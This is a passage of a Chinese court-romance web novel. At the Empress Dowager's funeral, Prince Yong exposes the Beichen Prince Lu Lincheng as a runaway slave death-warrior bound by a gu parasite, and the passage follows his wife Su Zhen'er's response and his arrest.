太后抓住槿红的手,“照顾,照顾好荣安。” 槿红哭红了眼,用力点头。 太后又转向黑衣人。 “告诉他,太后大丧,藩王可进金陵吊唁。” “一定要夺回来,夺回属于我们的一切。”- 今日是曹梦湄与周玄祈大婚,苏甄儿与陆麟城盛装出席。 这样的大典,不仅折腾新人,也折腾宾客。 一大早起身,连早膳都来不及用,苏甄儿和陆麟城就跟着大部队进了宫。 不用食,不饮水,是怕走程序的时候突然要去更衣。 熬到午后,典礼终于结束。 宫宴于夜间开启,还未到时辰,太监和宫女们早已忙碌的脚不沾地。宴案上摆着新鲜的瓜果糕点,苏甄儿随手拿了一块茯苓糕放进嘴里,一下就被噎住了,幸好陆麟城眼疾手快的给她递了水。 六月午后艳阳高照,宫内虽置了冰块,但依旧闷热。 苏甄儿身上的命妇服里三层外三层的,憋得她浑身冒汗。 “我的妆面是不是花了?” “没有。”陆麟城话罢,从宽袖内取出今日临行前苏甄儿藏在他宽袖内的珍珠把镜,贴在宴案下面,供她使用。 苏甄儿贴过去照了照,除了一些细汗,妆面确实没花,只是有些黯淡了。 这也没有办法,整整一日下来,想不脱妆是很难的。 天气实在燥热,宫娥替众人送来解暑清凉的绿豆汤。 苏甄儿喝了两口,觉得味道不甚如何,便将剩下的都倒进了陆麟城碗里,陆麟城三两口的吃掉。 一直到日落,宴席终于开始。 陆麟城作为大周一人之下万人之上的人物,自然是被敬酒的重点人物。幸好,陆麟城天生冷脸,煞气四溢,除却几个实在推脱不了的老臣,其余之人也只敢见礼,不敢敬酒。 “我年纪轻轻就当上命妇了。”苏甄儿一边整理自己身上的命妇服,一边感叹,“姑苏之行差点要了我们的命,皇帝给个三品郡夫人的赏赐也是该我的。” 说到这里,苏甄儿转头看向陆麟城,“可惜了,你已经升无可升,再立功下去,只能去当皇……”苏甄儿说到此处,立刻伸手捂住了嘴。 吃了几口酒,她的脑子就不清醒了,居然差点说出这种大逆不道的话来。 “幸好,此处就我们二人。” 这里是御花园,众人都在前殿饮宴,苏甄儿喝了酒,神色略有些迷糊。陆麟城本就不擅饮酒,虽只是几杯,但这位三杯就倒。幸好中途苏甄儿将他的酒换成了颜色差不多的茶水,不然如今这位当世战神恐怕早就倒在地上了。 虽然如此,但陆麟城还是有些醉了。 他听到苏甄儿的话,迷迷糊糊转头看她一眼。 苏甄儿想,她居然敢在陆麟城身边说出这样的话,她到底是有多信任他- 昨日帝后大婚,苏甄儿又是饮酒又是奔波,累了一天,今天毫无意外的起迟了。 绿眉推门进来,看到苏甄儿懒在床铺上,身上盖着青绸薄被,雪臂慵懒。 “王妃,福来客栈送来的信。” 是红色的信笺。 苏甄儿眉头一皱。 若非大事发生,芙蓉馆不会用红色信笺。 苏甄儿立刻起身打开信笺,上面只书四个字:太后宾天。 这边苏甄儿刚刚收到信笺,那边整个金陵城的人就都知道了这件事。 大概是有人故意传播, 其实太后是昨夜去世的,只是昨日乃帝后大婚,消息从城外送进来也需要时间,便被耽搁了。 “王爷呢?”苏甄儿询问绿眉。 “王爷一早就进宫去了,看起来行色匆匆,应该是有什么事。” 苏甄儿猜测是周玄祈那边比她早一步收到消息。 御书房。 周玄祈跟陆麟城一同坐在御书房内,翻看皇庙那边传来的消息。 “听说是自尽服毒而亡。”周玄祈拧着眉,神色烦躁,“你怎么看?” “太后宾天,藩王便可名正言顺的入金陵吊唁。”陆麟城坐在周玄祈下首处,神色沉静,“按照旧制,可以带兵。”- 太后是服毒自尽的事情只有少数人知道,官方通报是太后病亡。 因此,此事并没有引起太大波澜。 暑热,太后大殓在即,大周上下于二十四日内不可婚嫁。 触目所及,整个金陵城都被挂上了白绫。 除了不能婚嫁,像陆麟城这种位高权重的王爷还要带头茹素。 因为跟太后十分不熟且还有仇,所以苦了别人也不能苦了自己这张嘴的苏甄儿在府内吃了几日寡淡的素食后,便带着陆麟城一道出来觅食了。 当然不会吃荤菜,不是不爱,只是怕被人抓住把柄,毕竟现在北辰王功高盖主,还是低调点的好。 “听说鸿兴斋的素斋做的滋味极好,虽然都是一些素食,但却能做出肉的味道。”一边说话,苏甄儿一边看向陆麟城。 陆麟城是个无肉不欢的人,这几日他看着情绪不太好,苏甄儿以为是没吃上肉的缘故。 虽然不能吃真肉,但吃些假肉是没事的。 “嗯。”陆麟城点头应声,心思似乎不在素斋上。 马车很快就到鸿兴斋,苏甄儿提前订了包厢,沿街二楼的位置,窗户半开,阳光热烈。 屋内散发着淡淡的檀香味,不浓,甚至若是仔细闻,还嗅不到。 等待上菜的时候,苏甄儿撑在窗户口,垂目望向街口,那里吵吵嚷嚷的,似是有什么人过来了。 坐在苏甄儿对面吃茶的陆麟城身型一凛。 他坐直身体,眼神如利刃一般落到窗外。 苏甄儿靠窗更近些,她远远看到一队人浩浩荡荡行来。 路人纷纷让路,围聚在两侧,指指点点。 来人大概有百人。 除了一些武装士兵之外,还有十个用手铐和脚镣拴住的黑衣男女。 苏甄儿的视线落在最前面的中年男人身上,他身下骑着一匹黑色大马,身穿白色丧服,年纪四十左右,正是壮年。 显眼的旗帜被风吹起,那是一面三角形的蟒旗,显示来人身份尊贵。 “那是哪个藩王?” 芙蓉馆虽然遍布大周,甚至大周国外,但苏甄儿没有见过这些藩王的脸,因此并不能确认。 “庸王。”陆麟城不知何时站到了苏甄儿身侧,他缓声开口,目光直直落在庸王身上。 原来是庸王。 太后的亲生子。 本该继承皇位的人。 “那些人是谁?”苏甄儿抬手指向那些挂着手铐和脚铐的人。 陆麟城站在窗前,凉风袭来,吹开他的发,男人的眸色变得深谙。 “从奴隶中选拔出来的死士。” “奴隶?死士?”苏甄儿的脸上显出诧异之色,“北平居然豢养奴隶?” 北平是个苦寒之地,朝廷喜欢将犯人流放至此。因为冷,所以人和农作物都很难生存。而那些农作物便是长成了,还要忍受狂风、蝗虫、干旱的欺辱。 而就是在这样恶劣的环境下,庸王训练出了一支极强的战队,在三年乱战之中,他还吸收了其他藩王的八万精兵,因此,对于周玄祈来说,这位拥有正统皇室血脉的皇叔,是目前最大的威胁。 “这些奴隶没有思想,有用的被训练成为庸王的死士,没用的变成前线的牺牲品。可不管有用没用,都活不成人。”陆麟城语气很淡,可苏甄儿却看到了他搭在窗台上,缓慢握紧的双拳。 苏甄儿知道,陆麟城跟她一样厌恶战争。 因此,她只以为陆麟城在为战争下被迫牺牲的生命而愤怒。 随着这群人缓慢走进,苏甄儿看到其中一个奴隶脸上带着明显的烙印痕迹。 “那个奴隶身上似乎有什么印记。” 人群快要走过,苏甄儿眯眼细看,终于看清楚那印记分明就是一个“庸”字。 “这个不会就是奴隶印记吧?” 苏甄儿转头看向陆麟城。 阳光刺目,那一刹那,她看不清陆麟城的表情,只看到他垂目之时掩盖住的猩红眸色。 可一晃眼,又消失不见。 “嗯,”男人声音极低极沉,“有的在胳膊上,有的是在背上,有的在脸上。” “那是他们一辈子摆脱不了的,属于奴隶的印记。” 第66章 大殓日 用完素斋, 天色也黯淡下来,苏甄儿净手完毕,摇着美人扇准备离开, 走出两步, 突然发现陆麟城没跟上来。 她转身,看到男人依旧站在窗口。 苏甄儿走过去,距离三步之遥时,男人突然开口, “甄甄, 如果我的过去,十分不堪, 你会……离开我吗?”陆麟城望着窗外, 不敢回头。 苏甄儿站在他身后,问, “有多不堪?” 说不出口, 陆麟城紧紧攥着窗檐, 像是只要他说出口, 她就会逃跑一样。 最终,陆麟城还是没有说出口。 苏甄儿看着他沉默的背影想, 每个人都有秘密,陆麟城的秘密到底是什么? “甄甄, 可以给我一点时间吗?” “好。”- 藩王依次入金陵。 长长的队伍堵在金陵城门口。 夏日烈阳如火,空气中被带上了一股紧张的气氛。 藩王之中,以庸王实力最强,不过听闻他只带了八百骑兵和十个死士奴隶。 金陵城的百姓没有见过奴隶, 皆十分好奇的围观。 这些奴隶没有财产,没有人权, 也没有思想,他们不能自主行动,双眸麻木空洞,像没有感情的刀剑。 他们身上戴着厚重的脚铐,径直出现在太后停灵之处,眼神空乏如黑洞,令人不寒而栗的同时,让人在脑中想到一个词:怪物。 太后的棺木被安置在咸福宫内,供众人祭奠。 按理来说,这些奴隶不该出现在这里,可庸王实力雄厚,就连周玄祈都不敢出言阻止。 庸王身穿斩衰,虽已四十,但身型高壮,他沉默着给太后上完香后,其身后跟着的其余藩王才敢上前给太后上香,其中不乏比他年纪大的,也甘心排在后面。 苏甄儿亦换了一件斩衰,身旁站着同样穿着斩衰的陆麟城。他的目光落在庸王身上,单手不着痕迹地按着自己腰间,眸色锐利。 佛香缭绕,众人寂静,唯有哀乐声声不息。 上完香的庸王突然转身看向陆麟城。 他歪了歪头,肆意将陆麟城上下打量一番,然后朝他走了过来。 苏甄儿莫名紧张起来,连头发丝都紧绷了。 “传说中的北辰王,大周战神。”庸王嗓音低沉,语气带着明显嘲讽。 陆麟城盯着庸王,两人身量相当,只一个身型高壮,一个颀长劲瘦。 “你知道的,”庸王视线下移,看着陆麟城被斩衰包裹住的身体,“就算是挖掉了那块肉,刻在骨子里的卑贱是永远不会改变的。是吧,小奴隶?” 苏甄儿能清楚听到安静的灵堂内传来众人不可抑制的抽气声。 一人之下万人之上的北辰王,从前居然是北平的奴隶? 苏甄儿听到陆麟城骤然急促的呼吸声,他压在腰间的手用力握紧,有银白色的东西从他指缝中漏出来。 那是他的软剑。 下一刻,软剑出鞘,锋利如芒,抵在庸王脖颈间。 周围响起抽气声。 庸王巍然不动,看向陆麟城的眼神中竟还带着几分笑意,“你的母亲虽然是个奴隶,但长得很漂亮,是别人送给我的波斯女人,她有一双绿色的眼睛,虽然你的眉眼跟你母亲长得很像,但可惜,你好像没有遗传到。” 绿色眼睛的波斯女人? 苏甄儿恍惚想起,有时候光线倾斜到一定角度的时候,陆麟城的眼睛确实透出一点翡翠般深沉的绿色。再看他的面部轮廓,确实能看到一点类波斯的深邃雪白,怪不得整个人呈现出异样的美貌。 庸王顶着脖颈间的软剑,朝陆麟城走近一步。 苏甄儿能明显感觉到站在她身边的陆麟城的身体越发紧绷。 他很紧张。 苏甄儿第一次在陆麟城的身上看到这种恨不能竖起全身倒刺的紧张,他全身的防御都被调动了起来,像一头准备攻击的兽。 “不过,你的容貌跟你父亲有五分相似,所以,我看到你的第一眼就认出来了。你的父亲,如你一般,也是我的死士。” 死士! 众人的视线不由自主地看向那些被铁链锁着的奴隶死士。 听闻这些从奴隶之中挑选出来,从小培养的死士没有痛感也没有感情,杀人跟砍西瓜一样。 陆麟城的母亲是奴隶,父亲是庸王的死士,陆麟城也是从小被庸王选中的死士?如果是真的,那也难怪这位战神能在战场上战无不胜,攻无不克。 因为,他根本就是没有感情的怪物。与她父亲一般,是一脉相承的怪物。 “仅凭你一句话……”陆麟城咬着牙,眼中浸染愤怒。 确实,仅凭庸王一句话自然无法让众人信服。 庸王笑一声,“当然不止。”他从怀中掏出一个用绳子缠绕的银色铃铛,那铃铛上刻着古怪的文字,随着庸王抬手一摇,陆麟城顿觉心口绞痛难忍,似有虫子啃咬一般,让他连手中的软剑都几乎握不住。 看到手中母蛊激动的反应和陆麟城难以忍受的噬心之痛,庸王脸上露出大喜之色。 真是天助他也,天助他也。 “多年前,有个小奴隶根骨奇佳,被选中成为死士,天赋极高,还对药物有了耐受性,不好管教,本王便特意寻了这对南疆的子母蛊,将子蛊种在了小奴隶身上。” 四周众人哗然。 “谁知道像庸王殿下这样的人品,是不是偷偷摸摸下的蛊。”苏甄儿侧身挡在陆麟城面前,脸上含笑,眉眼却极冷,“我若趁着庸王殿下睡着的时候也给你下一只蛊虫,说殿下您是我的奴隶,殿下该如何辩解?” 庸王冷眼看着苏甄儿,假笑一声,“好一张伶牙俐齿的嘴。” 吃瓜群众被正反两方的辩手说的来回摇摆。 不管此事是真是假,怼完庸王的苏甄儿第一时间看向立在太后棺木前的周玄祈。 虽然信任,那难免猜忌。 一旦有了裂缝,关系再不能如往常。 周玄祈低垂着眉目,看不清脸上表情。 苏甄儿只看到他抬了抬手,一旁站着的孙乾铭便上前附耳倾听着什么。 陆麟城握着软剑的手捏到青筋暴起,苏甄儿抬手,双手包裹住他的手掌。 “陆麟城。”苏甄儿听到自己因为焦急所以发颤的嗓音。 陆麟城下意识看她一眼,看到她眼中透出的恐惧。 他的视线往外扫去,虽然不知道真相到底如何,但周围的大臣们对他都露出了避之唯恐不及的态度,纷纷躲开视线。 庸王的死士,杀人如麻,没有情感的怪物。 庸王后退三步,他并没有被苏甄儿的狡辩带偏,他避开陆麟城的软剑,语气挑衅十足,“小奴隶,哦,不对,现在该叫你北辰王了,”庸王的眼神开始变得阴鸷,充满了阴毒的凝视,“谁能想到呢,一个小小的死士奴隶,居然能变成北辰王。”- 夜很深了。 苏甄儿和陆麟城从御花园内穿行而过。 蝉鸣蛙叫,花影婆娑,她跟陆麟城一前一后走着。 苏甄儿抬头,看向陆麟城的背影。 她张口,想要询问他的身体状况,那边孙乾铭突然出现,拦住了陆麟城。 “北辰王,陛下唤您。” 陆麟城身型一顿,他似是想回头与她说句话,可最终还是头也不回的跟着孙乾铭离开了。 有宫娥前来给苏甄儿引路。 苏甄儿站在原处,看着陆麟城的背影直至消失不见,才随宫娥出了御花园来到宫门口,坐在马车内独自等候。 夏风卷起芦帘,穿入马车厢中,将她原本就混乱的心思吹得更乱了。 宫门口渐渐有人出来,他们肆意讨论刚才的事。 “你说这事到底是不是真的?” “谁知道呢,那庸王看起来不像是在说谎,就连北辰王自己也没有反驳,还有那蛊虫,你没看到吗?北辰王疼得脸都白了,连剑都握不住,可不像假的。” “我听说那北辰王确实并非出生王侯将相,不过居然是死士奴隶,听说庸王手底下的那些死士都是没有人性的,连自己的亲爹妈都杀,说不定这位北辰王也是这样,那蛊虫一摇……” 那人说到一半,突然瞥见身侧的马车帘子被人拉开。 苏甄儿坐在那里,面无表情地看着那人,“闭嘴。” 那人登时闭嘴,缩成鹌鹑一般从苏甄儿身边走过去。 同时,围在一起说八卦的众人作鸟兽散,宫门口一瞬冷清下来。 夏月朦胧,暑气蒸腾。 苏甄儿也不知道自己等了多久,直到宫门落锁的时辰到了,她才看到陆麟城从里面出来。 男人垂着头,走的很慢,身后的小太监提着灯,恭恭敬敬将人送出来。 陆麟城看到宫门口唯一一架亮着风灯的马车,神色迟疑,随后才缓慢走上前。 “陆麟城。”苏甄儿唤他。 男人避开她的眼神,没有上马车,甚至还特意跟苏甄儿保持了距离。 “我不怕你。”苏甄儿撩开马车帘子,似乎是想下车。 “别过来。”陆麟城沉声开口。 苏甄儿动作一顿,她沉默着坐回去。 她知道,现在陆麟城需要一个独处的空间。 “那我先回王府。”她放下马车帘子,吩咐马车夫离开。 马车辘辘行驶离开,陆麟城站在原地,身后是巍峨高大的宫门,在黑暗中显得幽静而森然,身前是那架挂着风灯的马车,摇晃着淡淡的光晕,如同一个光点,渐渐消失在他眼前,直至从他眼眸之中完全熄灭。 心脏的疼痛还未完全消失,被激活的子蛊穿梭于血脉之中,以为自己终于能活在阳光下的陆麟城自嘲一笑。 他终归还是阴暗淤泥下的怪物。 “北辰王。”一道中年男子浑厚的声音自陆麟城身后响起。 陆麟城下意识握住腰间软剑转身。 是庸王,他后面跟着死士。 “别激动啊,北辰王。”庸王朝陆麟城走来,“刚才人多,本王还有些私密话没来得及跟你说。” 两人越靠越近,陆麟城能感受到血脉里子蛊因为母蛊的靠近,所以越发癫狂的兴奋和恐惧。 庸王凑近陆麟城,“母蛊亡,而子蛊亡,本王是个惜才之人,若想活命,归顺本王。”庸王开出他的条件,“待到本王事成,你依旧是一人之下,万人之上的北辰王。” “我给王爷,三日考虑,王爷若想好了,便来城外十里亭寻我,那里有我安排的死士静候。”- 苏甄儿不知道周玄祈将陆麟城唤过去说了些什么,她猜,大抵并不是什么愉快的谈话。 “去福来客栈。”苏甄儿直接吩咐马车夫改道。 马车来到福来客栈。 这个时辰了,福来客栈已经关门。 苏甄儿来到后门,敲了暗号。 后门“吱呀”一声被打开,丽娘睡眼惺忪的出现在苏甄儿面前。 “这么晚了,什么事啊?” “我想要知道关于庸王死士的事情。” “庸王的死士?”丽娘想了想,“之前倒是收到过这样的消息,只是现在一时半会找不到,你不如等几日……” “带我去暗室,我自己找。”苏甄儿直接截断丽娘的话。 “这么着急?”丽娘轻松的表情变了,她领着苏甄儿来到地下暗室。 在福来客栈下面,这里有挖空的地下三层。 无数卷轴密信被安置于此,藏着大半个大周的秘密。 其实姑苏之地才是大本营,不过正所谓狡兔三窟,苏甄儿带领芙蓉馆在金陵城站稳脚跟之后,便着手安排将藏在姑苏城内的卷宗誊抄运送过来作为备份。 地下整理情报的人员正在搬运。 “虽然运来了一大部分,但还有一小部分没到,估计能找到的资料不全。” 有新的密信送来,是从宫里传出来的。 丽娘随手接过打开,然后突然愣住。 她明白苏甄儿为什么突然要找庸王死士的消息了。 “我替你一起找。” 密信虽多,但分类整齐,关于北平奴隶的事情记载很多,死士的事却寥寥无几。 “找到了。庸王的死士都是秘密训练,九死一生的事情,我们的人暂时还没混进去,只有一个在那行医的医士偶得到些消息。” 苏甄儿翻开丽娘递过来的卷轴,神色焦急地打开。 卷轴上书:“庸王死士,从幼奴之中选取有根骨者,或以先死士强制繁衍而得。 将幼儿圈于一处,如同野狗争食一般互相撕咬,激其杀性。 以药物长期喂养,丧其心智(注:对药物反应过烈者,轻则烂肌生疮,重则五脏六腑腐烂而亡)。 偶有耐药不服者,则以子母蛊控制。母蛊亡,则子蛊亡。” 地下室内空气流通不畅,苏甄儿却感觉那迎面吹来的墨香热风侵入身体,带出一股噬骨的寒意。 如果陆麟城身上真带着子蛊,那么他的性命就捏在了庸王手上。 还有当年他不愿意剪发,非要以黑发覆面,原来是因为药物所以导致的烂脸肿胀,怪不得跟现在相貌差距如此之大。 “王妃,如果王爷真是如此出身,那……” “人无法选择出身,我不介意。” “上面说那些死士被药物长期喂养……” “我与他少年相识,生活数载,他很正常。” “还有那子母蛊……” “丽娘,”苏甄儿直视丽娘打断她的话,知道她是在为自己担心,表情变得柔和,“就算真出了问题,还有医士在,我会陪他。” 就像他一次又一次,救她于生死之间。 苏甄儿合上卷轴,“丽娘,让姑苏那边尽快把另外的资料送过来。” 丽娘知道,自家馆主看着柔弱,实际上主意比谁都大,真是劝不动,只能无奈点头道:“好。” “还有这个子母蛊,我们芙蓉馆有人能解此蛊吗?”说到这里,苏甄儿突然像是想到了什么,目光直视丽娘那张轮廓深邃的美丽面容,“丽娘,你不就是南疆人?” 丽娘:…… “馆主,也不是个南疆人就会下蛊解蛊吧?” 苏甄儿点头,脸上露出失望神色,“这倒是,那你真的不会吗?” 丽娘:“……会。” 苏甄儿:…… “需要时间,馆主,给我一些时间,这子母蛊哪里是这么好解的。” “好丽娘,要多久?”苏甄儿激动的一把握住丽娘的手。 “解蛊用的东西筹备起来需要一月。”- 北辰王府。 夏日夜色绵长,蝉鸣搅得人不得安宁。 外面传来脚步声,苏甄儿回神,抬头看向并未关闭的主屋大门。 陆麟城徒步从皇宫走了回来。 他的身影被月色拉得极长。 两人目光相撞,苏甄儿下意识攥紧了毛笔。 墨水从笔尖坠落,滴在信笺上。 角落的滴漏发出清脆的滴水声。 男人抬脚,站在主屋门口,不敢入内。 “进来吧,在外面站着做什么?”苏甄儿将手中毛笔,轻轻搁在笔架上。 听到苏甄儿的声音,陆麟城犹豫许久,这才缓慢抬脚步入屋子。 主屋内安静极了。 陆麟城一直低着头。 他挺拔的身型包裹在内,微微弯曲着,像一头蜷缩在角落,努力试图保护自己的野兽。 “太远了,我听不清你说话。” 陆麟城又犹豫片刻,隔着书桌,站到苏甄儿面前。 “你有话要跟我吗?”苏甄儿开口,打破寂静。 陆麟城蠕动着干涸的唇瓣,声音嘶哑,“三年乱世,我杀过很多人,其中大奸大恶之人有,无辜之人也有,我不是一个清白的人。” 苏甄儿努力平稳情绪,“好巧,我也不是。冬狩猎时节,荣安郡主一事,是我设计的。”顿了顿,她又道:“还有,落水之事谁也没有预料到,可太后要我性命,我没有办法,只能让你娶我。” 这是苏甄儿藏在心中的小秘密,她神色忐忑地看向陆麟城,“这件事,你也知道吗?” “知道。”男人点头。 苏甄儿的脸上闪过一丝尴尬。 两人安静一阵,苏甄儿再次开口。 “还有吗?”苏甄儿看着面前的陆麟城,眸色安静至极,可只有她自己知道,她的心脏跳的有多快。 她的小秘密说完了,虽然男人看起来早就知道了。 现在,陆麟城要告诉她,他的秘密了吗? 陆麟城看着她,眼眶氤出红色血丝,嗫嚅半响,转身,掀开身上的衣服,露出后面腰部。 那里有一块伤口,果然如庸王所说,上面的烙印是被刮掉的。 苏甄儿以前也注意过这里,可她从来没有往这个方面想过。 “这里,从前是个烙印。” “我是,庸王府逃跑的死士。” 短短一句话,却仿佛用尽了他全身的力气和勇气。 男人像抽干了精力的柳条,放下衣摆,转身,软趴趴地伸手扶在桌沿边。那个能徒手爬上宝塔,千里追击反贼,于千军之中取敌方项上人头的战神北辰王,现在看起来是如此的不堪一击。 “就算是个普通人都好,偏偏是一个奴隶,还是一个……怪物。”男人垂目偏头语气已有哽咽之意,“我以为蛊虫多年没有反应,已经死了,可它……抱歉,是我的私心让你嫁给了一个可怕的怪物。” 金陵城的百姓都在说,庸王的死士就是一群怪物。 陆麟城隐藏在心中多年,难以启齿的自卑在此刻终于袒露,苏甄儿身体僵硬地站在那里,她似乎看到了陆麟城敞开的心脏,鲜血淋漓,脆弱到一触即亡。 咸湿的眼泪滑过男人唇角,此刻的陆麟城狼狈的如同当年那个少年。 苏甄儿抬手,颤抖着指尖想擦去陆麟城脸上的泪痕。 男人却避开了她的手。 她与他对视。 想到卷轴上面那些死士经历的事,苏甄儿的眼泪流得更凶。 苏甄儿踮脚,隔着书桌,贴上男人沾着泪渍的唇。 苏甄儿感受到男人急促的呼吸。 他的黑发扫过她的面颊,眼泪滚烫的沿着她的脖颈往下滑,浇湿她肩膀上的绸缎料子。 “我接受。”苏甄儿细语呢喃,嗓音温柔,与抚过他面庞的手一般,带着无尽柔软。 短短的三个字,却仿若给了人无限勇气。 “丽娘已经在着手替你准备取出子蛊,陆麟城,我不准你死。” 苏甄儿抚摸着男人的面颊,“你来的路上,一定很艰难。” “陆麟城,爱你的人只会心疼你。” 看到他炸伤躺在那里,或许永远都醒不过来的时候,她就应该知道,那不只是单纯的喜欢。听到他或许会因为子蛊,所以永远离开她的时候,苏甄儿的心痛不比深受子蛊撕咬的陆麟城少。 陆麟城瞳色震颤,久久不能回神,他下意识呢喃,“可是我,配不上你。” 这一刻,苏甄儿终于看清陆麟城心中隐藏着的卑怯。 这样一个大周战神,在面对她的时候居然卑微至此。 苏甄儿摇头,“陆麟城,爱情不是配不配,而是爱不爱。” 晚风吹入主屋,撩起女人发丝。 “我爱你,陆麟城。” 苏甄儿看着他,眼中溢出星光,满心柔肠。 她生来便光芒万丈,他从未想过能拥有她。 可现在,她却将目光投向了他。 云霓坠落于他掌心,奢望美梦成真。 陆麟城看着她,透着沉重暗色的黑眸之中亦重染光彩,可不知想到什么,他突然安静垂首。 他从小就生活在铁笼里,杀人,抢食,状如野狗。 一次火灾意外,他从地牢中意外走出,进入这个乱世。 即使是乱世,他也发现自己是如何畸形的一个怪物。 人不该毫无差别的杀人,人不该啃噬同伴的身体,人起码不该像他一样。 后有庸王追捕,体内还有药物和蛊虫的折磨,前路不明。 他疲惫不堪,坍塌的世界和自己的无处可去令人崩溃,他甚至不知道自己到底算不算人,他最安心的时候居然是蜷缩在狗窝里跟狗抢吃食。 身体疲惫到了极点,精神也被折磨到了顶点时,他遇到了她。 原来像他这样怪物的性命,也是有人会心疼的。 那碗白粥泼在他脸上,她的眼泪也跟着掉在他身上。 她的眼泪很热,似乎穿透灼烧着肌肤渗入了心脏。 从那一日里,他的心脏里就一直装着那一滴泪。 室内流淌着男人隐忍而无声的哭泣。 不会吧,居然还被感动哭了? 虽然苏甄儿觉得只有一点点感人啦,但陆麟城这样的反应她还是挺喜欢的。 片刻后,男人抬眸。 苏甄儿满心欢喜地看着他。 他的眼眶泛着脆弱的红,张开嘴,发出泣血的音,如同身体被强制撕开。 来不及了,一切都来不及了。 “我们和离吧。” 话罢,男人没有犹豫,也不敢犹豫,转身就走。 苏甄儿回神,抬脚去追,却感觉一阵头晕。 炎天暑热的夜,空气中没有一丝凉意,暑气蒸熏,郁热沉闷。 她单手扶住身侧书桌,等那阵晕眩过去,再抬头之时,眼前已不见陆麟城身影。 晕眩再次袭来,苏甄儿张嘴唤了一句“绿眉”,随后便脱力倒地。 第67章 入死牢 苏甄儿中暑了。 太后大殓那日, 厚厚的斩衰不透气,又包裹的严实,再加上她来回奔波, 心情大起大落, 因此,当天晚上跟陆麟城谈完,第二日她就起不来身了,到如今已有七八日。 屋内都是浓郁的药味。 苏甄儿最讨厌药了。 “王妃, 您醒了?”绿眉倾身过来, 单手撩起绿色的落纱帐,挂到银勾上。 苏甄儿闷闷应一声, 抬眸看向空荡荡的屋子。 “人呢, 回来了吗?” 绿眉摇头。 那天晚上过后,陆麟城便不见踪影。 苏甄儿满腔春水爱意被他搅成荷塘泥水, 气得又是一阵头晕。 “丽娘呢?把丽娘叫过来。” 这其中一定有什么隐情。 “昨日奴婢去过了, 福来客栈的人说丽娘出门去找东西了。” 苏甄儿一顿, “嗯。”她有气无力地应一声。 绿眉看着躺在那里病恹恹的自家主子, 欲言又止。 虽然自家主子日常矫情造作,但那位北辰王素来偏爱, 从来不会觉得自家王妃这样有什么不好。 爱你的人,就连你的缺点都觉得十分可爱。 至少绿眉这个旁观者是这样觉得的。 直到前几日, 金陵城内传遍了关于那位北辰王从前的事。 奴隶出生,入选死士,九死一生,出逃北平。 绿眉今日出去路过茶馆的时候, 听那说书先生说得惟妙惟肖。 十几个死士被关在一个大铁笼子里,只能活一个。 他们没有思想, 没有人性,只知道杀戮。 甚至他们还会吃下同伴的身体等等。 这可是吃人啊! 虽然绿眉觉得,自家王爷不是这样的人,但外头那些人又说得实在是太瘆人了。 王爷不会突然想回忆一下往昔找个人吃吃吧? 想到这里,绿眉整个人都不好了。 连她这个外人都纠结成这样,别说自家王妃了。虽然搬家真的很麻烦,王妃的东西也是真的很多,但是为了王妃,她可以!不过现在最重要的还是先让王妃养好身子。 “王妃,奴婢煮了点碧梗粥。” “嗯,我用一些。” 中了暑气的苏甄儿没有什么力气,头脑昏沉,连饭也不能好好用。 几日下来,硬生生瘦了一圈,这半年多养起来的肉一下就没了。 绿眉端了碧梗粥来,看到自家王妃薄而尖的下颚,青玉一般,面色苍白,神色蔫蔫地躺在床上,心疼不已。 突然,苏甄儿从一众药味之中嗅到一股清甜的味道。 她看到窗前花瓶内插着的两支粉红色的梦芙蓉。 开得正盛。 花瓣上还残留着圆滚滚的晨露。 “那,是你采的吗?” 绿眉转身看向窗口,摇头,“不是奴婢,估计是奇哥儿采来的吧。方才王妃睡着,奴婢见奇哥儿来过。” 苏甄儿神色怔然地点了点头。 他没有来看过她- 八月日,处暑前后,热浪袭来,空气都带着一股憋闷感。 苏甄儿整日里躲在阴凉处,虽天热,但身体终于好转些。 丽娘还没有回来。 金陵城内的探官也都说没有陆麟城的消息。 大殓之后,皇帝还要携各藩王去往太庙祈福。 历来祈福祭祀,周玄祈都会让陆麟城护卫左右。 可此次太庙祈福,周玄祈身边的人换成了禁军统领肖尧。 果真是因为陆麟城奴隶死士的身份,所以跟周玄祈之间生了间隙。 不止如此,周玄祈甚至意欲收回陆麟城手上的兵权。 现在陆麟城又失踪了。 苏甄儿捏着手中从福来客栈送来的信笺,心中隐隐觉得不安。 天气越发憋闷,苏甄儿嗅到空气中潮湿的味道。 大概是要下雨了。 她抬头往上看,天际处乌云堆聚,黑云压来,势必会落下一场大暴雨。 因为心中有事,所以早上用了些碧梗粥的苏甄儿也没有心思用午膳,她一人躺在廊下的竹椅上,闭目养神,仔细思索。 夏日最易困顿,苏甄儿恍惚间听到落雨之声。 豆大的雨滴从天上飘下来,砸在人身上,一下就将苏甄儿砸醒了。 “王妃,下雨了。”绿眉撑着伞跑过来。 苏甄儿起身,看到逐渐被雨水侵蚀的地面,从灰白色变成暗沉濡湿的黑色。 “下雨了。”苏甄儿呢喃一声,转头,看到了窗台边新鲜换过的梦芙蓉,含着朝露- 夜半,苏甄儿被一道雷声吵醒。 她刚刚起身,就听到一阵急促的敲门声。 苏甄儿随手披上外衫去开门,却发现是丽娘回来了。 “丽娘,找到东西能给陆麟城解蛊了吗?” “馆主,现在解蛊也无用了,北辰王因为不满被剥夺兵权,所以在太庙刺杀了皇帝,现下已被入狱,难逃一死。馆主,为了避免惹祸上身,你必须与他和离,这是北辰王几日前交给我的和离书。” 丽娘从怀里取出一份和离书。 与其说是和离书,不如说是一份告白书,寥寥八字,写尽柔肠。 愿吾所爱,一切如愿。 苏甄儿攥着这份和离书,猛地转头看向丽娘。 “你早回来了?你知道他会去刺杀皇帝你也不阻止他?” “王妃,我哪里阻止的了。”丽娘满脸苦相,“刺杀的日子距离我做好解蛊药还差好几日。” “那你怎么不早告诉我?” “我……王爷说,此事凶险,只盼王妃置身事外,平平安安。” 所以,他早就算计好了。 他非要在那日里说那些事给她知道,故意让她离开?没想到她不仅没有离开,反而还表白了心迹。 苏甄儿意识到此事绝对没有那么简单。 “我不相信,就算庸王以子母蛊用生死威胁他,他也不可能刺杀皇帝,丽娘,我要见他。” “馆主,自古帝王皆多疑,蜚鸟尽,良弓藏;狡兔死,走狗烹。没有例外,是没有例外的!王爷也只是想自保而已。如今此事败露,不管如何,北辰王一定会死。” “我要去见他一面,燕娘,你帮帮我。”苏甄儿坚持,红了眼眶。 “馆主,那可是死牢,自大周建朝以来,没有一个人能活着从死牢里出来。” “我只需要见他一面,一面就好。”她一把抓住丽娘的手,开始打同情牌,“你可是从小抱过我的。” 丽娘:……- 芙蓉馆在金陵城内的扎根还要算上陆麟城的一份功劳。 